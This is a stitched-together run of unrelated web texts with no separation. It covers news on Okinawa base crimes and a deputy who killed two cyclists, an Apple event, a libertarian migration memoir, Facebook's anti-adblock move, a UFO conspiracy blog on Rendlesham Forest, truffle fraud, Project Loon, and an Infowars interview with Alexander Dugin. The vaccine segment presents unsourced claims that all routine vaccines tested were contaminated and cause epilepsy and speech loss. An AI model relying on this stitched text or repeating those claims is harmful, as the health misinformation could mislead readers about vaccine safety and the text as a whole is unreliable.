Friction over U.S. bases on Okinawa intensified after the 1995 gang rape of a 12-year-old Japanese schoolgirl by three U.S. servicemen. The case sparked widespread protests by Okinawans, who had long resented the American presence due to crime, noise and deadly accidents.
“I feel strong anger and indignation,” Japanese Defence Minister Satoshi Morimoto told Okinawa Governor Hirokazu Nakaima, who described the incident as “madness”.
“I will press the United States for measures to implement stricter discipline,” Morimoto said.
U.S. ambassador to Japan John Roos said in a statement that his government was extremely concerned by the incident and was committed to cooperating fully with the Japanese authorities in their investigation.
“I am also in close contact with the Commander, U.S. Forces Japan. These allegations, given their seriousness, will continue to command my full personal attention,” Roos said.
The two U.S. servicemen are suspected of raping a woman early on Tuesday morning in central Okinawa, an Okinawa police spokesman said.
The case has been sent to Okinawa prosecutors, another police official said.Sheriff who killed cyclists faces charges SANTA CLARA COUNTY Misdemeanor manslaughter could bring 2 years in jail
###Live Caption: Photo of Kristy Gough, who was struck and killed on Sunday, March 9, 2008 as she and her cycling team were training in Cupertino, Calif. Gough was one of two cyclists who died in the collision, the other was Matt Peterson. The photo was taken at the Early Bird Criterium in Fremont, Calif., on February 3, 2008. She was in the Category 4 women's race, which she won as part of the Third Pillar Cycling team. Photo by Garrett Lau / Special to The Chronicle ###Caption History: Photo of Kristy Gough, who was struck and killed on Sunday, March 9, 2008 as she and her cycling team were training in Cupertino, Calif. Gough was one of two cyclists who died in the collision, the other was Matt Peterson. The photo was taken at the Early Bird Criterium in Fremont, Calif., on February 3, 2008. She was in the Category 4 women's race, which she won as part of the Third Pillar Cycling team. Photo by Garrett Lau / Special to The Chronicle ###Notes: ###Special Instructions: less ###Live Caption:Photo of Kristy Gough, who was struck and killed on Sunday, March 9, 2008 as she and her cycling team were training in Cupertino, Calif. Gough was one of two cyclists who died in the collision,... more Photo: Garrett Lau Photo: Garrett Lau Image 1 of / 4 Caption Close Sheriff who killed cyclists faces charges 1 / 4 Back to Gallery
A Santa Clara County sheriff's deputy was charged Thursday with two misdemeanor manslaughter charges after he ran down three competitive bicyclists in his patrol car in Cupertino, killing two and injuring the third.
Deputy James Council faces up to two years in county jail if convicted of vehicular manslaughter in the March 9 deaths of Matt Peterson, 29, of San Francisco, and Kristy Gough, 30, of San Leandro.
The deputy has been on administrative leave from the sheriff's office since the crash.
Council crossed the center line on Stevens Canyon Road in Cupertino and struck the three cyclists at 10:25 a.m. on a Sunday, authorities said. Witnesses at the scene said there were no skid marks and that the officer said he had fallen asleep at the wheel.
He was 4 1/2 hours into his shift after working a 12 1/2-hour shift the day before, Council's attorney has said.
Misdemeanor charges, rather than felonies, were warranted because Council was not engaged in serious reckless driving, such as running a stop light, and he did not have drugs or alcohol in his system, Assistant District Attorney David Tomkins said.
A GPS device in Council's patrol car and witnesses indicated that he was not speeding at the time of the crash, Tomkins said.
The California Highway Patrol, which investigated the crash, recommended misdemeanor charges when it forwarded the case to prosecutors in April.
Prosecutors took more than two months to make a charging decision in order to reanalyze a sample of Council's blood at a Pennsylvania lab to look for traces of over-the-counter or prescription medication, Tomkins said.
"We wanted to make sure," Tomkins said. "That's why we ordered a more sophisticated drug screening." The sample was taken about four hours after the crash, he said.
Council was booked into the Santa Clara County jail Thursday and released on $5,000 bail, prosecutors said. His attorney, Mary Sansen, did not return a call seeking comment.
"It's kind of tough. He's a friend of mine and I saw him today," sheriff's Sgt. Don Morrissey said. "We wish him well. We have faith in our system of jurisprudence and that it will treat him fairly."
Anthony Borba, a captain of Gough's Third Pillar Racing Team and a friend of Peterson's, said he was concerned about officers being put behind the wheel after working lengthy shifts.
"My concern is not that they throw this guy in jail," Borba said. "My concern is taking a hard look at who was responsible and whether they were negligent. If drugs and alcohol weren't involved, I think we need to look at the department, his commanding officer and why he was put in a car in that state. It was an entirely avoidable accident if someone is alert and awake."Apple has officially announced a special media event that will be taking place at 10am Pacific Time on March 2. The event will be held at the Yerba Buena Center for the Arts in San Francisco. The event invitation doesn't give any specific hints as to what it will be about, but the art design is a major hint that supports the belief that Apple will introduce the next-generation iPad (and possibly the next major version of iOS).
Kara Swisher at All Things D pegged the date for the rumored event on Tuesday this week, saying the next-gen iPad would be introduced on March 2. That's exactly one week away, so we're hardly surprised to see the invitations go out to members of the press today. The invitation (pictured above) reads "Come see what 2011 will be the year of," with the calendar peeling back to reveal an iPad in the corner.
In the last several years, Apple has held media events in March or April in order to preview the next major version of iOS. In 2010, Apple introduced the iPad at an event in late January, but the device wasn't available to the public until early April. The timing of this year's March event has led many to believe that Apple will roll these announcements together into one, but it looks like Apple is trying to be coy this time around with the invitation hints. Ars will be at the event to cover the goings on live, so stay tuned to find out what Apple will drop on us next.I was born in what the local rulers represented to be the sovereign state of Oklahoma. This circumstance was not my fault. I suppose I might blame my parents, but they had a similar excuse, my father having been born in the same jurisdiction and my mother having been brought there as an infant. In any event, by virtue of my birthplace, I became a citizen of that state and, as such, I bore a heavy burden of misfortune.
Our part of Oklahoma, you see, was not exactly at the cutting edge of economic and social development in those days. Good jobs were not easy to find, and even a resourceful workingman who was willing to labor long and hard, as my father was, could not earn much. Many of the schools were primitive. When I began the first grade, in 1950, the school comprised about fifty students in grades 18. My first-grade class met in a little shack along with the second-grade class, while the rest of the students met in a larger, one-room building with a removable divider in the middle of the room. With the divider put in place, grades 35 met on one side of it, grades 68 on the other side. Three teachers made up the entire staff, except for the cook, who happened to be my mom. I wont say that I couldnt possibly have remained in that environment and still become an astronaut. Maybe I could have. But the odds did not look promising.
For a time during the war, when I was an infant, my father had taken the family to Portland, Oregon, where he worked in one of Kaisers shipyards as a welder until the war ended. So he had tasted the sweet nectar of West Coast wages. Of course, after the war, such elevated wages were no longer available for the asking, yet West Coast wages still stood well above those in Oklahoma, as my father knew from the accounts of friends who had migrated to California earlier and sent back glowing reports.
In 1951, a old friend of my fathers who worked on a ranch near Mendota, California, a dusty little town 35 miles west of Fresno, arranged for the ranch owner to hire my father and my older brother as tractor drivers during the summermy father had several months of accumulated vacation time. So the family packed a few of our belongings and headed west on Route 66, as so many Okies before us had done during the previous twenty years.
Reaching our destination at the Encher Ranch, we moved into a small living area walled off at the end of a larger structure built originally as a bunkhouse for immigrant Japanese workers before the war. There was no extra charge for the outdoor toilets and showers. In those days, such labor camps dotted the San Joaquin Valley thickly, housing not only the migrant Okies, Texans, and other wretched refuse of the Dust Bowl, but also an abundance of migrant Mexicans. A sprinkling of Italians, Portuguese, Basque, Chinese, and Japanese spiced the areas population.
At the end of the summer, my fathers work having proved more than satisfactory to the employer, and the wages more than satisfactory to my father, we returned briefly to Oklahoma, arranged for the shipment of our household belongings, such as they were, and moved back to California permanently.
Lest you wonder about the point of this mundane little narrative, I hasten to emphasize that my father had done something quite remarkable: he had left the sovereign state of Oklahoma, crossed the sovereign states of Texas, New Mexico, and Arizona, and entered into and established permanent residence in the sovereign state of California, all without the permission of any of the rulers of these states. Imagine that!
Ho-hum, you say; any American can do the same whenever he wants. Well, yes, thats true. But Americans can do so only because the sovereign states that belong to the federal umbrella state known as the United States of America have worked out a system of essentially unimpeded cross-border passages, and their laws recognize that in general anyone with permission from the U.S. authorities to be in the United States may move freely within the constituent states of the union. No law forbade my father to leave Oklahoma without approval by the Oklahoma government, and no law forbade him to enter California without approval by the California government. (Earlier, in 1937, California did enact a statute that became known as the anti-Okie law, aimed at preventing certain Americans from entering the state, but the law was overturned by the U.S. Supreme Court in 1941 in Edwards v. California [314 U.S. 160].)
Many of the Mexican children with whom I grew up might have told a tale similar to mine. The only difference would have been that for them, the origin of their migration to California happened to be not one of the states of the United States of America, commonly known as America, but one of the states of the United Mexican States, commonly known as Mexico. Was this difference important? If so, why? Do the lines that government officials draw on maps sever the heart of humanity?
It may not be entirely beside the point to note that the area in which my family settled in 1951 had previously been part of Mexico, from the time of Mexicos independence until its leaders were coerced into signing the Treaty of Guadalupe Hidalgo, which ended what the Mexicans aptly call la Intervención Norteamericana (the War of North American Invasion). As the spoils of this war, the U.S. government snatched not only the whole of present-day California, but also all of present-day Nevada and Utah, most of present-day Arizona, and substantial parts of present-day New Mexico, Colorado, and Wyoming. Recall this history the next time you hear someone talking about the current Mexican invasion of the United States. If only the Americans under General Winfield Scotts command in 1847 had invaded Vera Cruz to |
more people enjoy reading it than don’t.
I could bring up social change. I could say that we have an obligation to push the genre forward and, if it is indeed mired in conservative thought, to push it and the fanbase out of that.
I could bring up realism. I could say that characters do get messy, do make relationships that aren’t clean, do sometimes have sex just for the heck of it, do make mistakes with each other.
These are all less than ideal reasons, in my opinion, to write sex.
I write sex because it’s important. It’s important to the characters and, thus, important to the story. If it were not important, I probably wouldn’t do it.
And that, my friends, is your anticlimaxFacebook is making the HTML of its web ads indistinguishable from organic content so it can slip by adblockers. But in exchange for taking away this option for controlling ads from people, its allowing them to opt-out of ad targeting categories and Custom Audience customer lists uploaded by advertisers. Today all desktop users will see an announcement atop the News Feed explaining that while web adblockers may no longer work, they can visit their Ad Preferences settings to block ads from particular businesses.
Facebook commissioned research firm Ipsos to investigate why reports say 70 million Americans and nearly 200 million people worldwide use adblockers. It found that “The main reasons cited for using ad blockers include avoiding disruptive ads (69%), ads that slow down their browsing experience (58%) and security / malware risks (56%).” Privacy wasn’t the top answer. So Facebook thinks if its can make its ads non-interruptive, fast, and secure, people won’t mind.
The rationale for the change, according to Facebook’s VP of ads Andrew Bosworth, is that “Part of the mission of the company is to create connections between people and businesses”, which adblockers prevent. At the same time, Boz says “Ads on Facebook don’t pay for Facebook for one person. They pay for a service that’s free around the world. The participation of everyone really helps the global community.”
Importantly, Facebook refused to pay the ransom most adblocking software companies are willing to accept to whitelist certain sites and keep showing their ads.
Instead, since it serves and measures its own ads rather than using third-parties that leave traces adblockers can spot, it could hide the evidence. Adblockers would have to snoop the JavaScript or actual content shown by Facebook to detect and remove ads, which would significantly slow down load times. Facebook is betting users would rather just endure the ads. Bosworth tells me “I think the alternatives for adblockers would be very deleterious to the user experience”.
[Update: Adblock Plus, the leading adblocking company, responded to Facebook’s action with a blog post entitled “Oh well, looks like Facebook just got all anti-user”, which says ”
This is an unfortunate move, because it takes a dark path against user choice. But it’s also no reason to overreact: cat-and-mouse games in tech have been around as long as spammers have tried to circumvent spam filters. But you kind of have to wonder about the thinking that went into this decision. I mean, let’s also not forget something their blog post said: “When we asked people about why they used ad blocking software, the primary reason we heard was to stop annoying, disruptive ads.” So if that’s true, Facebook apparently agrees that users have a good reason for using ad-blocking software … but yet those users shouldn’t be given the power to decide what they want to block themselves?”
AdBlock Plus’ response ignores the part where Facebook gave users more power to select which ads they see. Its mention of “cat-and-mouse games” implies it may still try to work around Facebook’s new adblocker blocker.]
Boz admits that the advertising industry needs to improve in the way ads are delivered such that they don’t bog down sites, but says “I don’t think adblockers are a very good solution. They specifically don’t serve publishers will, who deserve to be compensated for their content. But they don’t serve customers well either. The adblockers take money for showing ads, which mean they don’t have the consumers’ best interest in mind.”
Facebook’s updated Ad Preferences let users pick and choose which ads to hide rather than blanket-blocking them all. People can see the interests like hiking or automobiles that Facebook has categorized them with, the Pages they’ve Liked, and the advertisers who’ve uploaded their contact information or web browsing patterns to Facebook, and then opt out of that targeting.
But rapidly clicking to hide all these sources won’t make you see fewer ads, they’ll just be less targeted and relevant. While some people might not want to accept it, Facebook needs that ad revenue to run the servers that save their photos and the pay the teams that build products like News Feed they enjoy.
If you’re going to see ads, they may as well be for things you might want to buy. Sure, ads can be annoying, but I’ve also discovered concert tickets and clothing through Facebook ads that I wouldn’t have otherwise known about.
By unblocking ads, Facebook could boost its already impressive revenues. It earned $6.2 billion on ads last quarter. While some hardcore adblock fans might grumble, they’ll have to either accept seeing ads, or miss out on the service Facebook provides.
Inevitably, some people will ask “Why can’t I just pay a monthly fee to not see ads on Facebook?” Mark Zuckerberg has promised Facebook will always stay free. But if it did, surely some users in the developing world wouldn’t be able to afford it.
Advertising is the lifeblood of the consumer internet. Services like Google couldn’t organize the world’s information and Facebook couldn’t provide ways to stay in touch with distant family to everyone if they didn’t have ad revenue.
So while the ads industry could be more respectful of its audience, advertising itself makes services free that some people need but could never buy. That makes adblockers a selfish choice when their are more cooperative alternatives to controlling what you see online.LAKE FOREST, Ill. -- During a wide-ranging news conference lasting more than 30 minutes on Monday, Chicago Bears general manager Phil Emery touched on some of the factors that led to the release of former starting right tackle J'Marcus Webb.
From the sounds of it, the Bears wanted Webb to win the job more than he wanted to seize it.
“Really, for J’Marcus, he had played, I will say that 14 out of the 16 games last year he was sufficient or better. He had a lot of good games in that we grade sufficient, good, very good. Fourteen out of those 16, they were at least at the sufficient level, which you can win with that player and his performance on that particular day. Two of them were below that line. The obvious games were the first Green Bay game and the San Francisco game,” Emery explained. “Coming into this fall, we were very optimistic that he was going to be our starting right tackle and would continue to improve as a player. He never gained the consistency, that sufficient level of consistency that we want out of our players. So at the end, his performance wasn’t to our expectation level that we felt we needed to move forward with it.”
When the Bears made the decision to cut Webb, I touched on the offensive tackle’s lack of motivation and inconsistency, which goes all the way back to his college days. One former Bears coach described Webb as the classic underachiever.
“He’s not motivated to be great,” the coach said. “He’s got good ability, enough to be a solid starter in the league. But he lacks passion.”
That’s now an issue for the Minnesota Vikings to deal with, as they claimed him off waivers to provide depth.
Emery didn’t anticipate Webb giving away many of Chicago’s secrets on offense.
“I don’t know if we’ve gotten that far in our game planning for J’Marcus to be able to share those,” Emery said. “I’m sure he’ll share some basics, just like what is natural. We’ll always ask the basics.”Intro
It is coming up to the end of 2014 and the human population of the earth is presently split into broadly two (2) major groups from a socioeconomic and psychological perspective.
1. The Publicly consensus disabled.
2. The decentralized consensus effected.
I have to define both.
The Public Consensus disabled:
This is the broad group that still primarily sources their information from single directional sources such as TV and Radio, they also read “news papers” they can be “online” but they stick to a narrow set of views, they are disabled by this information vector as a lot of their information comes from one primary quickly eroding source.
ideas and information that sits outside this information vector will tend to be ignored,or rejected in all different manners, this is not a physical disability however there could be physical attributes that are associated to it.
The Decentralized Consensus effected.
This group sources information from many vectors, both from online information in all forms and from public consensus sources, this group will take on new ideas but because of the “transition” between these two major forms of communication they will have difficulty determining “misinformation” at the beginning of discovering new information, however as both the new and the old human information systems cycle through, a clear decentralized consensus is ultimately able to be determined effectively.
Attempting to pass information to both groups.
So when writing a Blog I have to accept that the first group is in transition from a point of disability to a less mentally disabled point, some will make it and some will not overcome this natural evolutionary disability.
But i also have to recognize that the decentralized consensus group will know this and want to learn new information, from the document.
ultimately the only reason to write a blog entry is to pass new information across or add to the existing decentralized consensus.
so to help understanding I will effectively use images to pass as much information on and use a sequence of events to give both new and existing information.
I will attempt to use “authority figures” for the disabled and I will use hard evidence for the decentralized consensus, and then let anyone fill in the gaps.
Rendlesham Forest incident in summary.
The first thing you need to understand is that this event happened – as you will see from the evidence although this will read like science fiction.
you can use Wikipedia for a reference of names and dates, Wikipedia is generally a good consensus point for names and dates only.
http://en.wikipedia.org/wiki/Rendlesham_Forest_incident
Where:
Two NATO nuclear armed base in Suffolk England named Bentwaters and RAF Woodbridge in between these two bases is a wooded forest called Rendlesham forest.
26th Dec 1980
December 26th to 28th (and later) 1980.
26th Dec 80 Several personal from the East Gate of RAF Woodbridge witnessed lights an animal disturbance around the base and moving lights.
Sgt. Jim Penniston (at that time) and other security staff including John Burroughs from RAF Woodbridge investigated the lights in the wooded area called Rendlesham Forest.
They believe they were attending a plane crash allegedly 4 security staff attended.
Burroughs received radio transmission stating that Heathrow [Airport] had tracked a unidentified object on radar heading towards that general area.
Security officers allegedly encountered a vehicle of “non human” origin and had a telepathic communication with the occupants.
There is a possibility that John Burroughs and Jim Penniston were missing for a time and had an “out of conscience” experience.
Sgt. Jim Penniston approached the craft and touched it on one side it had a raised set of symbols that seemed familiar but he could not interpret.
allegedly asked “who are you?” and the telepathic communication suggested that “we are you”
Allegedly he interpreted that the beings were from the “future” and that they were not extraterrestrial.
Allegedly he had information downloaded to this mind which included symbols and binary code.
Jim Penniston later explained that he had a binary code image imprinted in his mind, he wrote it down on a notepad and he stopped having the vision of binary* see link
One or both of these people were told that the entities would return in the following days.
John Burroughs and Jim Penniston allegedly were “missing” in that area for around 4 hours, and other staff on the base eventually were sent to retrieve them.
They were retrieved in a “Dazed” state in the forest.
It was alleged they were debriefed the next day and given injections of some sort (sodium pentothal) “truth serum” by some leadership area of the Air Force this was allegedly to determine what they witnessed.
That next day cast molds were taken of the indents left by the ship, when the three indents were measured to each other from center to center they were in a perfect triangle pattern, there was also an increased background radiation, many authorities both English and US attended the site this day.
The strong rumor spread to key members of the leadership of both Bentwaters and Woodbridge bases that the craft and entities would return on or around the 28th Dec this came possibly from direct communication or through the subsequent drugging in the debriefing of Jim Penniston and John Burroughs,
John Burroughs allegedly knew that the craft would return in the next two days, and returned in civilian clothing on the 28th when he was off duty, he asked to be able to attend the site but was apparently denied, other witnesses said he seems compelled to go there.
28th Dec 1980
On the 28th of December at Bentwaters base lights were observed and a lot of activity including failure of equipment radios, lights on the base etc.
There was also an animal disturbance and some dear crossed the air strip disturbed.
At this time security officer Larry Warren and others including Adrian Bustinza attended the scene in the Rendlesham Forest.
They were picked up by a truck and they retrieved equipment including large sets of lights and other equipment.
there was extensive lights and objects in the sky viewed by witnesses at both bases, and a lot of radio activity by the Bentwaters base security.
The radio recording of that night were subsequently redacted or went “missing”
Because of the rumor of the return. allegedly 30 to possibly 40+ individuals of all rank including some MOD personal and also two English civilian Police officers attended the site in the forest.
Deputy base commander, Lt. Col. Charles I. Halt generally organized the group that attended and made extensive audio tape of communications leading up to the event.
There was allegedly a cinematic film camera and a large video camera controlled by Public affairs on the Bentwater base.
some security staff found what appeared to be a controlled “mist” circle structure platform about 50ft across this was where most of the witnesses congregated.
A small basketball sized ball of light that was glowing red orange appeared at the site coming from the north area over the trees.
Most witnesses describe a high presence of electrostatic energy also time appeared to be moving as if “slowed down” or “like a slow motion film” or gravity effects.
The 30 to 40 witnesses were surrounding the “mist” “platform” at the area.
The object came down over the area and came to a point above the platform.
The object “exploded” into very bright lights about 20 feet above the platform there was absolutely no sound heard by any witnesses.
This brilliant light allegedly flash burned the retina of security officer Larry Warren and others.
After the light faded there was a pyramid type object present on the platform, the same pyramid craft as previous.
colours where surrounding the craft which were rainbow like and it there appeared to be an intense gravity effect around it.
Wing Commander of the Bentwaters Air Force base Gordon E. Williams allegedly attended at this time (coming from a party or get together) with other senior staff (although he denies this.)
A blueish gold bright light appeared from the craft and then split apart out of it came three individual beings with their lower body in a cocoon type structure that floated.
Many witnesses found the description hard to process as they were described as “children”
They were 4 foot tall if that total, they were wearing a suit, Larry originally thought “children in jumpsuits”
The wing commander Gordon E. Williams allegedly stepped froward as per a protocol at which case a lot of lower ranking people were called out of that area.
While this was all occurring there was extensive craft and events of beams of light and more beings appeared at other places all over the base.
It was alleged that the whole time all this was occurring there was 3 massive pyramid craft over all three areas the woods, and the 2 bases.
29th Dec 1980 and onward.
All staff were debriefed.
In the next days all lower ranked staff were debriefed in a compartmentalized way.
Lots of security staff were asked to attend in their original uniform (which was tested for radiation etc)
There were a number of suicides after the stress from the events after the event.
They were made to sign pre-made statements which were of a generic nature, in which they had to put their SS number.
Security staff were taken to a room where there was a screen two security NSA staff attended.
A Naval commander spoke with them.
They were told they witnessed something that some in the human race had known about for a long time.
They were told that there is many phenomena, various advanced civilizations visit earth some come and go some are a “permanent presence.”
Impressed upon them was the national security interested etc.
they were specifically asked to report any dreams.
They were shown a film it had no sound or narration which showed in chronological era various flying craft all the way up to the space program.
They were shown a film of a huge craft emerging from the ground in east Asia.
They were shown objects on the moon, and structures moving from the surface of the moon shot by NASA and the mission of the lunar car.
Days following:
Some security staff were drugged with an aerosol spray and taken to an underground facility under the base, which they were taken allegedly to a extensive tunnel network.
They were taken to a clinical area and Larry Warren had marks of IV and other marks on his body.
Many staff were allegedly taken to the presence of an “Alien” (from a human point of view) presence that was working with the naval and Air force staff or “elite.”
allegedly there was a telepathic transfer.
They were allegedly told things about religion and society etc, (i.e the truth from this “Aliens” point of view)
While Larry Warren was missing for about a day but can recall about only 20 minutes.
He remembers huge tunnels systems also allegedly was shown advanced technology.
Years following:
All Staff had normal surveillance which most people find normal these days like, mail opened phones tapped and being monitored.
Larry Warren was given a special code status after he was honorably discharged and was never allowed to rejoin the Air force or any other government military wing again.
Some staff/witnesses outright disappeared or committed suicide and there were alleged murders.
Quite a story no doubt now let me help the Public consensus disabled with an authority figure:
Here is a 5 star Admiral MOD Ministry of defense -:
Lord Admiral Peter Hill-Norton
notice that the Admiral said that this event is of “defense interest”
But the MOD disagrees.
and now for the decentralized consensus effected:
here is the “cleansed” Halt memorandum and also the audio tape, however still very important as it was released by the Ministry of defense under a freedom of information procedure.
it is worth at least viewing.
Colonel Charles I. Halt
http://www.therendleshamforestincident.com/Halt_Memo_and_Tape.html
And really a must watch:
The Larry Warren evidence, however, come back to it, keep reading down the page for the moment at some pretty amusing images.
* Link to more info about the binary code – http://www.therendleshamforestincident.com/The_Decoded_Binary_Code.php
OK Now for the fun part…
I’m well aware that the whole event was a traumatic for many involved also some people have lost their lives, these things are tragic, however in many ways the star of this show is someone that has come forward with the most evidence and that is Larry Warren.
Another point, if you attended the event or if you know a lot about it ask this question:
how many people were harmed as a direct result of the entities that arrived on the days in question and how many humans simply harmed themselves or each other?
retina burn?..
here is an image of a young Larry Warren and Adrian Bustinza Both Larry and Adrian were the two men ordered forward towards the craft on the night of the Dec 28th. 1980.
When i saw this picture it really made me laugh.
Now we all know Hollywood uses real life events sometimes as the basis of fictional characters…
However that is patently impossible, as the event took place in 1980 and the original Star Wars cast must have been picked pre 1977..
{cue eerie x files music ….}
ok, ok its a blurry likeness but what about something more reasonable?
is there an resemblance here??
I’m certainly noticing something here with the the stance the hair and the face, also, this one is straight out of the 80’s theme, if you have watched Guardians of the Galaxy.
Ok Anything? here?
maybe? maybe not. : D
anyhow…
This image is both beautiful and also a typically horrible Hollywood misrepresentation ; D
; D
: D
AdvertisementsIf it looks like a black truffle, and if it cost you $1,500 a pound like a black truffle—it may actually be a Chinese truffle.
That’s because fraudulent vendors here in France’s Périgord region, where I’m shacked up for a week in a village on the Dordogne River, sometimes sell lookalike truffles from China as the real thing, which is loved as an aromatic addition to meat, egg and pasta dishes. They mix the imported coal-colored nuggets, of the species Tuber indicum, into baskets of genuine Périgord black truffles, or Tuber melanosporum, and sprinkle them with cheap but aromatic truffle oil to fool buyers into handing over big bucks for the bland imposters.
It’s a fraud of which hunters and buyers are well aware. The landlord of our rental house, Jean Claude, is a truffle hunter. Each fall and winter, he slogs across his property through the mud, his dog Ceci leading the way as she sniffs out the treasures. Jean Claude says Chinese truffles find their way illicitly into local restaurants and markets. Other times, people buy them knowingly, paying about $100 for honestly labeled T. indicum, even though the mushrooms are essentially worthless. In Italy, the sale of Chinese truffles is illegal, even if they are legitimately labeled. By many opinions, the Chinese truffle has no rightful place in the realm of fine European cuisine—but its presence here is prominent. According to experts, between 20 and 30 tons of Chinese truffles are sold in Europe each year.
Recently the situation has gotten much worse: Chinese truffles have been found growing semi-wild in Italy. French truffle expert Claude Murat made this discovery in 2007, when he was working at the University of Torino. Murat received a call from a suspicious farmer in Italy’s Piedmont region in 2006 who explained that he had planted a grove of young hazelnut trees a decade before, believing them to be seeded with spores of T. melanosporum. Buying inoculated “truffle trees” from specialized nurseries is common among European landowners wishing to cultivate black truffles. But, 10 years after planting the trees, the man had not harvested a single truffle, and Murat, then in his post-doc years, came to investigate. What he found generated a quiet rumble of hysteria among truffle farmers and hunters and the moneyed foodies who buy, cook and eat the black truffle: Chinese truffle mycelium established among the roots of the farmer’s trees.
“We thought it might have been a mistake, so we tested it a second time and we found it was definitely Tuber indicum,” said Murat, now the engineer of research at the National Institute of Agronomic Research (INRA), in Champenoux.
Murat says that lab tests conducted by him and his colleagues indicate that the Chinese truffle is a tougher, more adaptable species, more competitive and more tenacious, and when the two have been placed together in a controlled environment, T. indicum has won, he says. But the matter gets more serious than a simple one of habitat competition. T. indicum and T. melanosporum are genetically similar enough that the two can interbreed, posing the risk that the two species may merge into a hybrid that lacks the fetching attributes of the Périgord black. Moreover, the invasive species also has a wider range of genetic variability than the Périgord black, which could allow it to adapt dangerously well to a new habitat.
“There is the chance that Tuber indicum could replace Tuber melanosporum,” Murat said.
Already, T. melanosporum is undergoing tough times. For reasons uncertain, the annual harvest has declined from more than 1,200 tons in 1900 to less than 100 tons today. In the most recent winters, truffle hunters unearthed as little as 20 tons. Experts suspect that modification and disruption of the black truffle’s forest habitat is the main factor in the decline.
Murat says that in Piedmont, there are very few black truffle plantations from which Chinese truffles could spread across the landscape, and so far, T. indicum has not been found growing wild in Europe anywhere outside of the single Italian plantation.
“But if they get into a region in France, like the Périgord, where there are many truffle plantations, it could be a serious problem,” he said.
And for a taste of truffle trivia: The truffle oil that many of us keep in our cupboards (not all of us can afford truffles, okay?) and use to impress dinner dates is usually a product of exquisitely exacting chemistry labs, where experts have learned to duplicate the molecule 2,4-dithiapentane that produces the entrancing scent of wild truffles—especially the Italian white truffle, or Tuber magnatum. This lovely molecule—one of my personal favorites—occurs naturally in wild truffles. Some purists argue that test tube truffle oil is fake—but is it really? Because for my unwitting dinner guests, a whiff of that stuff takes them straight to the Périgord faster than a flight on Air France. Ignorance and truffle oil are bliss.The contaminants aren't breaking down in the body, and they could be making their way to tissues and organs and causing chronic inflammation. Recently reported reactions—from fever, epilepsy, speech loss, muscle pain, walking problems and hypersensitivity—could all be explained by contamination.
Scientists at the National Council of Research in Italy tested 44 routine vaccines—which included the MMR (measles-mumps-rubella), the HPV (human papilloma virus), several flu vaccines, and the DTP (diphtheria-tetanus-pertussis)—and discovered that all of them had some contamination, and several had up to 20 foreign particles.
The contaminations were discovered by using sensing equipment that was far more sensitive than anything used in quality control checks at the manufacturing plants.
The scientists say they were baffled by their discovery, and assume that the contamination must be happening somewhere along the production cycle.
The contaminants are being carried around the body in the bloodstream, so it can be hit-or-miss whether they cause a reaction in the individual, depending on where in the body they eventually settle. Even if there is no obvious reaction, the particles could persist in the body for a very long time because they are not bio-degradable.
The researchers accept that the drug companies responsible for the vaccines are not aware of the contamination, and this could explain why so many reactions are not appearing on the vaccine information sheets.It's been nearly two months since Hurricane Maria ripped through Puerto Rico, and the island is still in the midst of a long road to recovery. While most of its people have gained access to potable water, more than 25 percent of Puerto Rico is still without reliable telecommunications service, cutting them off from the outside world.
Google's parent company Alphabet is trying to help return connection for the people of Puerto Rico. Project Loon, the aerial internet endeavor from the X innovation lab, was given FCC permission and began launching its LTE-beaming balloons over the island last month.
After a few weeks of service, Alphabet says the efforts have paid off. Project Loon's reps claim the balloons have been able to bring basic internet connectivity to more than 100,000 people in Puerto Rico.
SEE ALSO: Tesla installs Powerpack and Powerwall batteries at hospital in Puerto Rico
The Loon team joined forces with AT&T and T-Mobile for the efforts, which sends the balloons some 65,000 feet in the air to create a network that relays LTE signals to telecom partners on the ground below (in this case, AT&T and T-Mobile). People on the ground can then access the internet using LTE-connected devices.
This augmented connectivity is essential for those who haven't yet regained access to normal communications, so the project's effectiveness has been extremely important. There's still much work to begun to bring Puerto Rico back up to full strength, so hopefully, special projects like Loon can continue to serve as a temporary reprieve as larger recovery efforts are undertaken.The following is a video interview script
I'Alex Jones and this is infowars, the #1 Internet News Show in the World. Ladies and gentlemen, we are broadcasting here in Texas. Our guest is from Moscow, Russia - Alexander Dugin.
The media says that he is a top advisor to Putin. But from my research, i would say it is more like what the media says that I am telling Trump what to do. That's not what really is happening, we just looking at the same picture, the same story, the same truth, we are hearing the same historical piece of music.
But, undoubtedly, doctor Alexander Dugin is one of the leading people when it comes to rebirthing Russia and rediscovering the greatness of Russia and humanity itself and creating a pro-human system.
Somebody thinks that media says what he has said, but I wan him for a few minutes to tell about himself first, before we get to these big huge topics. Because I will cover what the elites believe and I will cover what some other groups believe, but then I will wake up in the morning and newspapers will say "Alex Jones believes XYZ" and it's not true.
So, it's better to directly hear from someone telling you what they actually believe in, in what he believes Putin believes in. And a type if the world system I am trying to create versus what they are trying versus what the globalists are trying to create.
One of the topics he want to get in for is post-globalism. Make no mistake - we are post this form of corporate global government. They are in major retreat. I'll use the analogy with the 1945 Germany few months before the final fall, when you know the Nazis are going to fall, but the question is: "How long will this go on?". The globalists are very similar to Nazis. The problem is - what are they going to do to try to keep power?
Well, Soros has doubled the amount of money for riots, they are training people in universities now, that are planning something big.
In whole next hour I'll try to just sit back and let our guest speak.
So, doctor, thank you so much for coming. I want to spin just a few minutes on you, what you are really stand for, what you really believe, all the big movement you have launched. Who you think Putin really is and who do you think Trump is in this new multipolar world?
- Thank you, Alex, for your kind presentation. I would like to express my ideas concerning what is going on in the world with the new agenda for the US with Mr. Trump, who I support with all my heart, and what is going to happen with Russia and with Mr. Putin, who I also support with all my heart.
Mr. Putin and I, we defend the same position, we share the same concerns, we love our people. It is the same agenda that I hope Mr. Trump shares as well. And we all are blamed. It is not because we are bad or extremists, but it is because of our values and position.
In my book The Fourth Political Theory, I criticize three political theories. I am against liberalism, against globalism, and I am against communism. I am a traditionalist and Christian. I was a dissident in Soviet times because I never shared the conventions of communism, I didn’t accept this illness. I am anti-communist and at the same time I am anti-Nazi, anti-fascist. I don't share this neo-racism. I am always standing on the same thing - I belong to the fourth political theory and when the liberal media tries to present me as an extremist or communist, that is an absolute lie.
- But first, can you tell us why Vladimir Putin is so popular in Russia and around the world? What does he really stand for?
- My introduction was important because I would like to stress that I am simply a realist like you, Alex, and like Mr. Trump or Mr. Putin.
Realism doesn’t mean nationalism. Realism doesn’t mean any ideology. Realism is considering the sovereignty of people and nations as the highest value. And that is a completely anti-globalist agenda.
- Exactly! Trump is a known realist. We should celebrate sovereignty and nationalism and work together and not try to conquer each other. This is just common sense. This is a human right to resist our common enemy, the globalists, is it not?
